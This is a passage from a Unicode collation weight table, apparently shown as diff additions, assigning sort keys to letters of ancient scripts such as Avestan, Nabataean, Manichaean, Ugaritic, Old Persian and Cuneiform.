+10A63 ; [.4849.0020.0002] # OLD SOUTH ARABIAN LETTER MEM
+10A64 ; [.484A.0020.0002] # OLD SOUTH ARABIAN LETTER QOPH
+10A65 ; [.484B.0020.0002] # OLD SOUTH ARABIAN LETTER WAW
+10A66 ; [.484C.0020.0002] # OLD SOUTH ARABIAN LETTER SHIN
+10A67 ; [.484D.0020.0002] # OLD SOUTH ARABIAN LETTER RESH
+10A68 ; [.484E.0020.0002] # OLD SOUTH ARABIAN LETTER BETH
+10A69 ; [.484F.0020.0002] # OLD SOUTH ARABIAN LETTER TAW
+10A6A ; [.4850.0020.0002] # OLD SOUTH ARABIAN LETTER SAT
+10A6B ; [.4851.0020.0002] # OLD SOUTH ARABIAN LETTER KAPH
+10A6C ; [.4852.0020.0002] # OLD SOUTH ARABIAN LETTER NUN
+10A6D ; [.4853.0020.0002] # OLD SOUTH ARABIAN LETTER KHETH
+10A6E ; [.4854.0020.0002] # OLD SOUTH ARABIAN LETTER SADHE
+10A6F ; [.4855.0020.0002] # OLD SOUTH ARABIAN LETTER SAMEKH
+10A70 ; [.4856.0020.0002] # OLD SOUTH ARABIAN LETTER FE
+10A71 ; [.4857.0020.0002] # OLD SOUTH ARABIAN LETTER ALEF
+10A72 ; [.4858.0020.0002] # OLD SOUTH ARABIAN LETTER AYN
+10A73 ; [.4859.0020.0002] # OLD SOUTH ARABIAN LETTER DHADHE
+10A74 ; [.485A.0020.0002] # OLD SOUTH ARABIAN LETTER GIMEL
+10A75 ; [.485B.0020.0002] # OLD SOUTH ARABIAN LETTER DALETH
+10A76 ; [.485C.0020.0002] # OLD SOUTH ARABIAN LETTER GHAYN
+10A77 ; [.485D.0020.0002] # OLD SOUTH ARABIAN LETTER TETH
+10A78 ; [.485E.0020.0002] # OLD SOUTH ARABIAN LETTER ZAYN
+10A79 ; [.485F.0020.0002] # OLD SOUTH ARABIAN LETTER DHALETH
+10A7A ; [.4860.0020.0002] # OLD SOUTH ARABIAN LETTER YODH
+10A7B ; [.4861.0020.0002] # OLD SOUTH ARABIAN LETTER THAW
+10A7C ; [.4862.0020.0002] # OLD SOUTH ARABIAN LETTER THETH
+10A80 ; [.4863.0020.0002] # OLD NORTH ARABIAN LETTER HEH
+10A81 ; [.4864.0020.0002] # OLD NORTH ARABIAN LETTER LAM
+10A82 ; [.4865.0020.0002] # OLD NORTH ARABIAN LETTER HAH
+10A83 ; [.4866.0020.0002] # OLD NORTH ARABIAN LETTER MEEM
+10A84 ; [.4867.0020.0002] # OLD NORTH ARABIAN LETTER QAF
+10A85 ; [.4868.0020.0002] # OLD NORTH ARABIAN LETTER WAW
+10A86 ; [.4869.0020.0002] # OLD NORTH ARABIAN LETTER ES-2
+10A87 ; [.486A.0020.0002] # OLD NORTH ARABIAN LETTER REH
+10A88 ; [.486B.0020.0002] # OLD NORTH ARABIAN LETTER BEH
+10A89 ; [.486C.0020.0002] # OLD NORTH ARABIAN LETTER TEH
+10A8A ; [.486D.0020.0002] # OLD NORTH ARABIAN LETTER ES-1
+10A8B ; [.486E.0020.0002] # OLD NORTH ARABIAN LETTER KAF
+10A8C ; [.486F.0020.0002] # OLD NORTH ARABIAN LETTER NOON
+10A8D ; [.4870.0020.0002] # OLD NORTH ARABIAN LETTER KHAH
+10A8E ; [.4871.0020.0002] # OLD NORTH ARABIAN LETTER SAD
+10A8F ; [.4872.0020.0002] # OLD NORTH ARABIAN LETTER ES-3
+10A90 ; [.4873.0020.0002] # OLD NORTH ARABIAN LETTER FEH
+10A91 ; [.4874.0020.0002] # OLD NORTH ARABIAN LETTER ALEF
+10A92 ; [.4875.0020.0002] # OLD NORTH ARABIAN LETTER AIN
+10A93 ; [.4876.0020.0002] # OLD NORTH ARABIAN LETTER DAD
+10A94 ; [.4877.0020.0002] # OLD NORTH ARABIAN LETTER GEEM
+10A95 ; [.4878.0020.0002] # OLD NORTH ARABIAN LETTER DAL
+10A96 ; [.4879.0020.0002] # OLD NORTH ARABIAN LETTER GHAIN
+10A97 ; [.487A.0020.0002] # OLD NORTH ARABIAN LETTER TAH
+10A98 ; [.487B.0020.0002] # OLD NORTH ARABIAN LETTER ZAIN
+10A99 ; [.487C.0020.0002] # OLD NORTH ARABIAN LETTER THAL
+10A9A ; [.487D.0020.0002] # OLD NORTH ARABIAN LETTER YEH
+10A9B ; [.487E.0020.0002] # OLD NORTH ARABIAN LETTER THEH
+10A9C ; [.487F.0020.0002] # OLD NORTH ARABIAN LETTER ZAH
+10B00 ; [.4880.0020.0002] # AVESTAN LETTER A
+10B01 ; [.4881.0020.0002] # AVESTAN LETTER AA
+10B02 ; [.4882.0020.0002] # AVESTAN LETTER AO
+10B03 ; [.4883.0020.0002] # AVESTAN LETTER AAO
+10B04 ; [.4884.0020.0002] # AVESTAN LETTER AN
+10B05 ; [.4885.0020.0002] # AVESTAN LETTER AAN
+10B06 ; [.4886.0020.0002] # AVESTAN LETTER AE
+10B07 ; [.4887.0020.0002] # AVESTAN LETTER AEE
+10B08 ; [.4888.0020.0002] # AVESTAN LETTER E
+10B09 ; [.4889.0020.0002] # AVESTAN LETTER EE
+10B0A ; [.488A.0020.0002] # AVESTAN LETTER O
+10B0B ; [.488B.0020.0002] # AVESTAN LETTER OO
+10B0C ; [.488C.0020.0002] # AVESTAN LETTER I
+10B0D ; [.488D.0020.0002] # AVESTAN LETTER II
+10B0E ; [.488E.0020.0002] # AVESTAN LETTER U
+10B0F ; [.488F.0020.0002] # AVESTAN LETTER UU
+10B10 ; [.4890.0020.0002] # AVESTAN LETTER KE
+10B11 ; [.4891.0020.0002] # AVESTAN LETTER XE
+10B12 ; [.4892.0020.0002] # AVESTAN LETTER XYE
+10B13 ; [.4893.0020.0002] # AVESTAN LETTER XVE
+10B14 ; [.4894.0020.0002] # AVESTAN LETTER GE
+10B15 ; [.4895.0020.0002] # AVESTAN LETTER GGE
+10B16 ; [.4896.0020.0002] # AVESTAN LETTER GHE
+10B17 ; [.4897.0020.0002] # AVESTAN LETTER CE
+10B18 ; [.4898.0020.0002] # AVESTAN LETTER JE
+10B19 ; [.4899.0020.0002] # AVESTAN LETTER TE
+10B1A ; [.489A.0020.0002] # AVESTAN LETTER THE
+10B1B ; [.489B.0020.0002] # AVESTAN LETTER DE
+10B1C ; [.489C.0020.0002] # AVESTAN LETTER DHE
+10B1D ; [.489D.0020.0002] # AVESTAN LETTER TTE
+10B1E ; [.489E.0020.0002] # AVESTAN LETTER PE
+10B1F ; [.489F.0020.0002] # AVESTAN LETTER FE
+10B20 ; [.48A0.0020.0002] # AVESTAN LETTER BE
+10B21 ; [.48A1.0020.0002] # AVESTAN LETTER BHE
+10B22 ; [.48A2.0020.0002] # AVESTAN LETTER NGE
+10B23 ; [.48A3.0020.0002] # AVESTAN LETTER NGYE
+10B24 ; [.48A4.0020.0002] # AVESTAN LETTER NGVE
+10B25 ; [.48A5.0020.0002] # AVESTAN LETTER NE
+10B26 ; [.48A6.0020.0002] # AVESTAN LETTER NYE
+10B27 ; [.48A7.0020.0002] # AVESTAN LETTER NNE
+10B28 ; [.48A8.0020.0002] # AVESTAN LETTER ME
+10B29 ; [.48A9.0020.0002] # AVESTAN LETTER HME
+10B2A ; [.48AA.0020.0002] # AVESTAN LETTER YYE
+10B2B ; [.48AB.0020.0002] # AVESTAN LETTER YE
+10B2C ; [.48AC.0020.0002] # AVESTAN LETTER VE
+10B2D ; [.48AD.0020.0002] # AVESTAN LETTER RE
+10B2E ; [.48AD.0020.0004][.0000.0110.0004] # AVESTAN LETTER LE
+10B2F ; [.48AE.0020.0002] # AVESTAN LETTER SE
+10B30 ; [.48AF.0020.0002] # AVESTAN LETTER ZE
+10B31 ; [.48B0.0020.0002] # AVESTAN LETTER SHE
+10B32 ; [.48B1.0020.0002] # AVESTAN LETTER ZHE
+10B33 ; [.48B2.0020.0002] # AVESTAN LETTER SHYE
+10B34 ; [.48B3.0020.0002] # AVESTAN LETTER SSHE
+10B35 ; [.48B4.0020.0002] # AVESTAN LETTER HE
+10860 ; [.48B5.0020.0002] # PALMYRENE LETTER ALEPH
+10861 ; [.48B6.0020.0002] # PALMYRENE LETTER BETH
+10862 ; [.48B7.0020.0002] # PALMYRENE LETTER GIMEL
+10863 ; [.48B8.0020.0002] # PALMYRENE LETTER DALETH
+10864 ; [.48B9.0020.0002] # PALMYRENE LETTER HE
+10865 ; [.48BA.0020.0002] # PALMYRENE LETTER WAW
+10866 ; [.48BB.0020.0002] # PALMYRENE LETTER ZAYIN
+10867 ; [.48BC.0020.0002] # PALMYRENE LETTER HETH
+10868 ; [.48BD.0020.0002] # PALMYRENE LETTER TETH
+10869 ; [.48BE.0020.0002] # PALMYRENE LETTER YODH
+1086A ; [.48BF.0020.0002] # PALMYRENE LETTER KAPH
+1086B ; [.48C0.0020.0002] # PALMYRENE LETTER LAMEDH
+1086C ; [.48C1.0020.0002] # PALMYRENE LETTER MEM
+1086E ; [.48C2.0020.0002] # PALMYRENE LETTER NUN
+1086D ; [.48C2.0020.0019] # PALMYRENE LETTER FINAL NUN
+1086F ; [.48C3.0020.0002] # PALMYRENE LETTER SAMEKH
+10870 ; [.48C4.0020.0002] # PALMYRENE LETTER AYIN
+10871 ; [.48C5.0020.0002] # PALMYRENE LETTER PE
+10872 ; [.48C6.0020.0002] # PALMYRENE LETTER SADHE
+10873 ; [.48C7.0020.0002] # PALMYRENE LETTER QOPH
+10874 ; [.48C8.0020.0002] # PALMYRENE LETTER RESH
+10875 ; [.48C9.0020.0002] # PALMYRENE LETTER SHIN
+10876 ; [.48CA.0020.0002] # PALMYRENE LETTER TAW
+10881 ; [.48CB.0020.0002] # NABATAEAN LETTER ALEPH
+10880 ; [.48CB.0020.0019] # NABATAEAN LETTER FINAL ALEPH
+10883 ; [.48CC.0020.0002] # NABATAEAN LETTER BETH
+10882 ; [.48CC.0020.0019] # NABATAEAN LETTER FINAL BETH
+10884 ; [.48CD.0020.0002] # NABATAEAN LETTER GIMEL
+10885 ; [.48CE.0020.0002] # NABATAEAN LETTER DALETH
+10887 ; [.48CF.0020.0002] # NABATAEAN LETTER HE
+10886 ; [.48CF.0020.0019] # NABATAEAN LETTER FINAL HE
+10888 ; [.48D0.0020.0002] # NABATAEAN LETTER WAW
+10889 ; [.48D1.0020.0002] # NABATAEAN LETTER ZAYIN
+1088A ; [.48D2.0020.0002] # NABATAEAN LETTER HETH
+1088B ; [.48D3.0020.0002] # NABATAEAN LETTER TETH
+1088D ; [.48D4.0020.0002] # NABATAEAN LETTER YODH
+1088C ; [.48D4.0020.0019] # NABATAEAN LETTER FINAL YODH
+1088F ; [.48D5.0020.0002] # NABATAEAN LETTER KAPH
+1088E ; [.48D5.0020.0019] # NABATAEAN LETTER FINAL KAPH
+10891 ; [.48D6.0020.0002] # NABATAEAN LETTER LAMEDH
+10890 ; [.48D6.0020.0019] # NABATAEAN LETTER FINAL LAMEDH
+10893 ; [.48D7.0020.0002] # NABATAEAN LETTER MEM
+10892 ; [.48D7.0020.0019] # NABATAEAN LETTER FINAL MEM
+10895 ; [.48D8.0020.0002] # NABATAEAN LETTER NUN
+10894 ; [.48D8.0020.0019] # NABATAEAN LETTER FINAL NUN
+10896 ; [.48D9.0020.0002] # NABATAEAN LETTER SAMEKH
+10897 ; [.48DA.0020.0002] # NABATAEAN LETTER AYIN
+10898 ; [.48DB.0020.0002] # NABATAEAN LETTER PE
+10899 ; [.48DC.0020.0002] # NABATAEAN LETTER SADHE
+1089A ; [.48DD.0020.0002] # NABATAEAN LETTER QOPH
+1089B ; [.48DE.0020.0002] # NABATAEAN LETTER RESH
+1089D ; [.48DF.0020.0002] # NABATAEAN LETTER SHIN
+1089C ; [.48DF.0020.0019] # NABATAEAN LETTER FINAL SHIN
+1089E ; [.48E0.0020.0002] # NABATAEAN LETTER TAW
+108E0 ; [.48E1.0020.0002] # HATRAN LETTER ALEPH
+108E1 ; [.48E2.0020.0002] # HATRAN LETTER BETH
+108E2 ; [.48E3.0020.0002] # HATRAN LETTER GIMEL
+108E3 ; [.48E4.0020.0002] # HATRAN LETTER DALETH-RESH
+108E4 ; [.48E5.0020.0002] # HATRAN LETTER HE
+108E5 ; [.48E6.0020.0002] # HATRAN LETTER WAW
+108E6 ; [.48E7.0020.0002] # HATRAN LETTER ZAYN
+108E7 ; [.48E8.0020.0002] # HATRAN LETTER HETH
+108E8 ; [.48E9.0020.0002] # HATRAN LETTER TETH
+108E9 ; [.48EA.0020.0002] # HATRAN LETTER YODH
+108EA ; [.48EB.0020.0002] # HATRAN LETTER KAPH
+108EB ; [.48EC.0020.0002] # HATRAN LETTER LAMEDH
+108EC ; [.48ED.0020.0002] # HATRAN LETTER MEM
+108ED ; [.48EE.0020.0002] # HATRAN LETTER NUN
+108EE ; [.48EF.0020.0002] # HATRAN LETTER SAMEKH
+108EF ; [.48F0.0020.0002] # HATRAN LETTER AYN
+108F0 ; [.48F1.0020.0002] # HATRAN LETTER PE
+108F1 ; [.48F2.0020.0002] # HATRAN LETTER SADHE
+108F2 ; [.48F3.0020.0002] # HATRAN LETTER QOPH
+108F4 ; [.48F4.0020.0002] # HATRAN LETTER SHIN
+108F5 ; [.48F5.0020.0002] # HATRAN LETTER TAW
+10840 ; [.48F6.0020.0002] # IMPERIAL ARAMAIC LETTER ALEPH
+10841 ; [.48F7.0020.0002] # IMPERIAL ARAMAIC LETTER BETH
+10842 ; [.48F8.0020.0002] # IMPERIAL ARAMAIC LETTER GIMEL
+10843 ; [.48F9.0020.0002] # IMPERIAL ARAMAIC LETTER DALETH
+10844 ; [.48FA.0020.0002] # IMPERIAL ARAMAIC LETTER HE
+10845 ; [.48FB.0020.0002] # IMPERIAL ARAMAIC LETTER WAW
+10846 ; [.48FC.0020.0002] # IMPERIAL ARAMAIC LETTER ZAYIN
+10847 ; [.48FD.0020.0002] # IMPERIAL ARAMAIC LETTER HETH
+10848 ; [.48FE.0020.0002] # IMPERIAL ARAMAIC LETTER TETH
+10849 ; [.48FF.0020.0002] # IMPERIAL ARAMAIC LETTER YODH
+1084A ; [.4900.0020.0002] # IMPERIAL ARAMAIC LETTER KAPH
+1084B ; [.4901.0020.0002] # IMPERIAL ARAMAIC LETTER LAMEDH
+1084C ; [.4902.0020.0002] # IMPERIAL ARAMAIC LETTER MEM
+1084D ; [.4903.0020.0002] # IMPERIAL ARAMAIC LETTER NUN
+1084E ; [.4904.0020.0002] # IMPERIAL ARAMAIC LETTER SAMEKH
+1084F ; [.4905.0020.0002] # IMPERIAL ARAMAIC LETTER AYIN
+10850 ; [.4906.0020.0002] # IMPERIAL ARAMAIC LETTER PE
+10851 ; [.4907.0020.0002] # IMPERIAL ARAMAIC LETTER SADHE
+10852 ; [.4908.0020.0002] # IMPERIAL ARAMAIC LETTER QOPH
+10853 ; [.4909.0020.0002] # IMPERIAL ARAMAIC LETTER RESH
+10854 ; [.490A.0020.0002] # IMPERIAL ARAMAIC LETTER SHIN
+10855 ; [.490B.0020.0002] # IMPERIAL ARAMAIC LETTER TAW
+10B40 ; [.490C.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER ALEPH
+10B41 ; [.490D.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER BETH
+10B42 ; [.490E.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER GIMEL
+10B43 ; [.490F.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER DALETH
+10B44 ; [.4910.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER HE
+10B45 ; [.4911.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER WAW
+10B46 ; [.4912.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER ZAYIN
+10B47 ; [.4913.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER HETH
+10B48 ; [.4914.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER TETH
+10B49 ; [.4915.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER YODH
+10B4A ; [.4916.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER KAPH
+10B4B ; [.4917.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER LAMEDH
+10B4C ; [.4918.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER MEM
+10B4D ; [.4919.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER NUN
+10B4E ; [.491A.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER SAMEKH
+10B4F ; [.491B.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER AYIN
+10B50 ; [.491C.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER PE
+10B51 ; [.491D.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER SADHE
+10B52 ; [.491E.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER QOPH
+10B53 ; [.491F.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER RESH
+10B54 ; [.4920.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER SHIN
+10B55 ; [.4921.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER TAW
+10B60 ; [.4922.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER ALEPH
+10B61 ; [.4923.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER BETH
+10B62 ; [.4924.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER GIMEL
+10B63 ; [.4925.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER DALETH
+10B64 ; [.4926.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER HE
+10B65 ; [.4927.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER WAW-AYIN-RESH
+10B66 ; [.4928.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER ZAYIN
+10B67 ; [.4929.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER HETH
+10B68 ; [.492A.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER TETH
+10B69 ; [.492B.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER YODH
+10B6A ; [.492C.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER KAPH
+10B6B ; [.492D.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER LAMEDH
+10B6C ; [.492E.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER MEM-QOPH
+10B6D ; [.492F.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER NUN
+10B6E ; [.4930.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER SAMEKH
+10B6F ; [.4931.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER PE
+10B70 ; [.4932.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER SADHE
+10B71 ; [.4933.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER SHIN
+10B72 ; [.4934.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER TAW
+10B80 ; [.4935.0020.0002] # PSALTER PAHLAVI LETTER ALEPH
+10B81 ; [.4936.0020.0002] # PSALTER PAHLAVI LETTER BETH
+10B82 ; [.4937.0020.0002] # PSALTER PAHLAVI LETTER GIMEL
+10B83 ; [.4938.0020.0002] # PSALTER PAHLAVI LETTER DALETH
+10B84 ; [.4939.0020.0002] # PSALTER PAHLAVI LETTER HE
+10B85 ; [.493A.0020.0002] # PSALTER PAHLAVI LETTER WAW-AYIN-RESH
+10B86 ; [.493B.0020.0002] # PSALTER PAHLAVI LETTER ZAYIN
+10B87 ; [.493C.0020.0002] # PSALTER PAHLAVI LETTER HETH
+10B88 ; [.493D.0020.0002] # PSALTER PAHLAVI LETTER YODH
+10B89 ; [.493E.0020.0002] # PSALTER PAHLAVI LETTER KAPH
+10B8A ; [.493F.0020.0002] # PSALTER PAHLAVI LETTER LAMEDH
+10B8B ; [.4940.0020.0002] # PSALTER PAHLAVI LETTER MEM-QOPH
+10B8C ; [.4941.0020.0002] # PSALTER PAHLAVI LETTER NUN
+10B8D ; [.4942.0020.0002] # PSALTER PAHLAVI LETTER SAMEKH
+10B8E ; [.4943.0020.0002] # PSALTER PAHLAVI LETTER PE
+10B8F ; [.4944.0020.0002] # PSALTER PAHLAVI LETTER SADHE
+10B90 ; [.4945.0020.0002] # PSALTER PAHLAVI LETTER SHIN
+10B91 ; [.4946.0020.0002] # PSALTER PAHLAVI LETTER TAW
+10AC0 ; [.4947.0020.0002] # MANICHAEAN LETTER ALEPH
+10AC1 ; [.4948.0020.0002] # MANICHAEAN LETTER BETH
+10AC2 ; [.4949.0020.0002] # MANICHAEAN LETTER BHETH
+10AC3 ; [.494A.0020.0002] # MANICHAEAN LETTER GIMEL
+10AC4 ; [.494B.0020.0002] # MANICHAEAN LETTER GHIMEL
+10AC5 ; [.494C.0020.0002] # MANICHAEAN LETTER DALETH
+10AC6 ; [.494D.0020.0002] # MANICHAEAN LETTER HE
+10AC7 ; [.494E.0020.0002] # MANICHAEAN LETTER WAW
+10AC8 ; [.494E.0020.0004][.0000.0111.0004] # MANICHAEAN SIGN UD
+10AC9 ; [.494F.0020.0002] # MANICHAEAN LETTER ZAYIN
+10ACA ; [.4950.0020.0002] # MANICHAEAN LETTER ZHAYIN
+10ACB ; [.4951.0020.0002] # MANICHAEAN LETTER JAYIN
+10ACC ; [.4952.0020.0002] # MANICHAEAN LETTER JHAYIN
+10ACD ; [.4953.0020.0002] # MANICHAEAN LETTER HETH
+10ACE ; [.4954.0020.0002] # MANICHAEAN LETTER TETH
+10ACF ; [.4955.0020.0002] # MANICHAEAN LETTER YODH
+10AD0 ; [.4956.0020.0002] # MANICHAEAN LETTER KAPH
+10AD1 ; [.4957.0020.0002] # MANICHAEAN LETTER XAPH
+10AD2 ; [.4958.0020.0002] # MANICHAEAN LETTER KHAPH
+10AD3 ; [.4959.0020.0002] # MANICHAEAN LETTER LAMEDH
+10AD4 ; [.495A.0020.0002] # MANICHAEAN LETTER DHAMEDH
+10AD5 ; [.495B.0020.0002] # MANICHAEAN LETTER THAMEDH
+10AD6 ; [.495C.0020.0002] # MANICHAEAN LETTER MEM
+10AD7 ; [.495D.0020.0002] # MANICHAEAN LETTER NUN
+10AD8 ; [.495E.0020.0002] # MANICHAEAN LETTER SAMEKH
+10AD9 ; [.495F.0020.0002] # MANICHAEAN LETTER AYIN
+10ADA ; [.4960.0020.0002] # MANICHAEAN LETTER AAYIN
+10ADB ; [.4961.0020.0002] # MANICHAEAN LETTER PE
+10ADC ; [.4962.0020.0002] # MANICHAEAN LETTER FE
+10ADD ; [.4963.0020.0002] # MANICHAEAN LETTER SADHE
+10ADE ; [.4964.0020.0002] # MANICHAEAN LETTER QOPH
+10ADF ; [.4965.0020.0002] # MANICHAEAN LETTER XOPH
+10AE0 ; [.4966.0020.0002] # MANICHAEAN LETTER QHOPH
+10AE1 ; [.4967.0020.0002] # MANICHAEAN LETTER RESH
+10AE2 ; [.4968.0020.0002] # MANICHAEAN LETTER SHIN
+10AE3 ; [.4969.0020.0002] # MANICHAEAN LETTER SSHIN
+10AE4 ; [.496A.0020.0002] # MANICHAEAN LETTER TAW
+10380 ; [.496B.0020.0002] # UGARITIC LETTER ALPA
+10381 ; [.496C.0020.0002] # UGARITIC LETTER BETA
+10382 ; [.496D.0020.0002] # UGARITIC LETTER GAMLA
+10383 ; [.496E.0020.0002] # UGARITIC LETTER KHA
+10384 ; [.496F.0020.0002] # UGARITIC LETTER DELTA
+10385 ; [.4970.0020.0002] # UGARITIC LETTER HO
+10386 ; [.4971.0020.0002] # UGARITIC LETTER WO
+10387 ; [.4972.0020.0002] # UGARITIC LETTER ZETA
+10388 ; [.4973.0020.0002] # UGARITIC LETTER HOTA
+10389 ; [.4974.0020.0002] # UGARITIC LETTER TET
+1038A ; [.4975.0020.0002] # UGARITIC LETTER YOD
+1038B ; [.4976.0020.0002] # UGARITIC LETTER KAF
+1038C ; [.4977.0020.0002] # UGARITIC LETTER SHIN
+1038D ; [.4978.0020.0002] # UGARITIC LETTER LAMDA
+1038E ; [.4979.0020.0002] # UGARITIC LETTER MEM
+1038F ; [.497A.0020.0002] # UGARITIC LETTER DHAL
+10390 ; [.497B.0020.0002] # UGARITIC LETTER NUN
+10391 ; [.497C.0020.0002] # UGARITIC LETTER ZU
+10392 ; [.497D.0020.0002] # UGARITIC LETTER SAMKA
+10393 ; [.497E.0020.0002] # UGARITIC LETTER AIN
+10394 ; [.497F.0020.0002] # UGARITIC LETTER PU
+10395 ; [.4980.0020.0002] # UGARITIC LETTER SADE
+10396 ; [.4981.0020.0002] # UGARITIC LETTER QOPA
+10397 ; [.4982.0020.0002] # UGARITIC LETTER RASHA
+10398 ; [.4983.0020.0002] # UGARITIC LETTER THANNA
+10399 ; [.4984.0020.0002] # UGARITIC LETTER GHAIN
+1039A ; [.4985.0020.0002] # UGARITIC LETTER TO
+1039B ; [.4986.0020.0002] # UGARITIC LETTER I
+1039C ; [.4987.0020.0002] # UGARITIC LETTER U
+1039D ; [.4988.0020.0002] # UGARITIC LETTER SSU
+103A0 ; [.4989.0020.0002] # OLD PERSIAN SIGN A
+103A1 ; [.498A.0020.0002] # OLD PERSIAN SIGN I
+103A2 ; [.498B.0020.0002] # OLD PERSIAN SIGN U
+103A3 ; [.498C.0020.0002] # OLD PERSIAN SIGN KA
+103A4 ; [.498D.0020.0002] # OLD PERSIAN SIGN KU
+103A5 ; [.498E.0020.0002] # OLD PERSIAN SIGN GA
+103A6 ; [.498F.0020.0002] # OLD PERSIAN SIGN GU
+103A7 ; [.4990.0020.0002] # OLD PERSIAN SIGN XA
+103A8 ; [.4991.0020.0002] # OLD PERSIAN SIGN CA
+103A9 ; [.4992.0020.0002] # OLD PERSIAN SIGN JA
+103AA ; [.4993.0020.0002] # OLD PERSIAN SIGN JI
+103AB ; [.4994.0020.0002] # OLD PERSIAN SIGN TA
+103AC ; [.4995.0020.0002] # OLD PERSIAN SIGN TU
+103AD ; [.4996.0020.0002] # OLD PERSIAN SIGN DA
+103AE ; [.4997.0020.0002] # OLD PERSIAN SIGN DI
+103AF ; [.4998.0020.0002] # OLD PERSIAN SIGN DU
+103B0 ; [.4999.0020.0002] # OLD PERSIAN SIGN THA
+103B1 ; [.499A.0020.0002] # OLD PERSIAN SIGN PA
+103B2 ; [.499B.0020.0002] # OLD PERSIAN SIGN BA
+103B3 ; [.499C.0020.0002] # OLD PERSIAN SIGN FA
+103B4 ; [.499D.0020.0002] # OLD PERSIAN SIGN NA
+103B5 ; [.499E.0020.0002] # OLD PERSIAN SIGN NU
+103B6 ; [.499F.0020.0002] # OLD PERSIAN SIGN MA
+103B7 ; [.49A0.0020.0002] # OLD PERSIAN SIGN MI
+103B8 ; [.49A1.0020.0002] # OLD PERSIAN SIGN MU
+103B9 ; [.49A2.0020.0002] # OLD PERSIAN SIGN YA
+103BA ; [.49A3.0020.0002] # OLD PERSIAN SIGN VA
+103BB ; [.49A4.0020.0002] # OLD PERSIAN SIGN VI
+103BC ; [.49A5.0020.0002] # OLD PERSIAN SIGN RA
+103BD ; [.49A6.0020.0002] # OLD PERSIAN SIGN RU
+103BE ; [.49A7.0020.0002] # OLD PERSIAN SIGN LA
+103BF ; [.49A8.0020.0002] # OLD PERSIAN SIGN SA
+103C0 ; [.49A9.0020.0002] # OLD PERSIAN SIGN ZA
+103C1 ; [.49AA.0020.0002] # OLD PERSIAN SIGN SHA
+103C2 ; [.49AB.0020.0002] # OLD PERSIAN SIGN SSA
+103C3 ; [.49AC.0020.0002] # OLD PERSIAN SIGN HA
+103C8 ; [.49AD.0020.0002] # OLD PERSIAN SIGN AURAMAZDAA
+103C9 ; [.49AE.0020.0002] # OLD PERSIAN SIGN AURAMAZDAA-2
+103CA ; [.49AF.0020.0002] # OLD PERSIAN SIGN AURAMAZDAAHA
+103CB ; [.49B0.0020.0002] # OLD PERSIAN SIGN XSHAAYATHIYA
+103CC ; [.49B1.0020.0002] # OLD PERSIAN SIGN DAHYAAUSH
+103CD ; [.49B2.0020.0002] # OLD PERSIAN SIGN DAHYAAUSH-2
+103CE ; [.49B3.0020.0002] # OLD PERSIAN SIGN BAGA
+103CF ; [.49B4.0020.0002] # OLD PERSIAN SIGN BUUMISH
+12000 ; [.49B5.0020.0002] # CUNEIFORM SIGN A
+12001 ; [.49B6.0020.0002] # CUNEIFORM SIGN A TIMES A
+12002 ; [.49B7.0020.0002] # CUNEIFORM SIGN A TIMES BAD
+12003 ; [.49B8.0020.0002] # CUNEIFORM SIGN A TIMES GAN2 TENU
+12004 ; [.49B9.0020.0002] # CUNEIFORM SIGN A TIMES HA
+12005 ; [.49BA.0020.0002] # CUNEIFORM SIGN A TIMES IGI
+12006 ; [.49BB.0020.0002] # CUNEIFORM SIGN A TIMES LAGAR GUNU
+12007 ; [.49BC.0020.0002] # CUNEIFORM SIGN A TIMES MUSH
+12008 ; [.49BD.0020.0002] # CUNEIFORM SIGN A TIMES SAG
+12009 ; [.49BE.0020.0002] # CUNEIFORM SIGN A2
+1200A ; [.49BF.0020.0002] # CUNEIFORM SIGN AB
+1200B ; [.49C0.0020.0002] # CUNEIFORM SIGN AB TIMES ASH2
+1200C ; [.49C1.0020.0002] # CUNEIFORM SIGN AB TIMES DUN3 GUNU
+1200D ; [.49C2.0020.0002] # CUNEIFORM SIGN AB TIMES GAL
+1200E ; [.49C3.0020.0002] # CUNEIFORM SIGN AB TIMES GAN2 TENU
+1200F ; [.49C4.0020.0002] # CUNEIFORM SIGN AB TIMES HA
+12010 ; [.49C5.0020.0002] # CUNEIFORM SIGN AB TIMES IGI GUNU
+12011 ; [.49C6.0020.0002] # CUNEIFORM SIGN AB TIMES IMIN
+12012 ; [.49C7.0020.0002] # CUNEIFORM SIGN AB TIMES LAGAB
+12013 ; [.49C8.0020.0002] # CUNEIFORM SIGN AB TIMES SHESH
+12014 ; [.49C9.0020.0002] # CUNEIFORM SIGN AB TIMES U PLUS U PLUS U
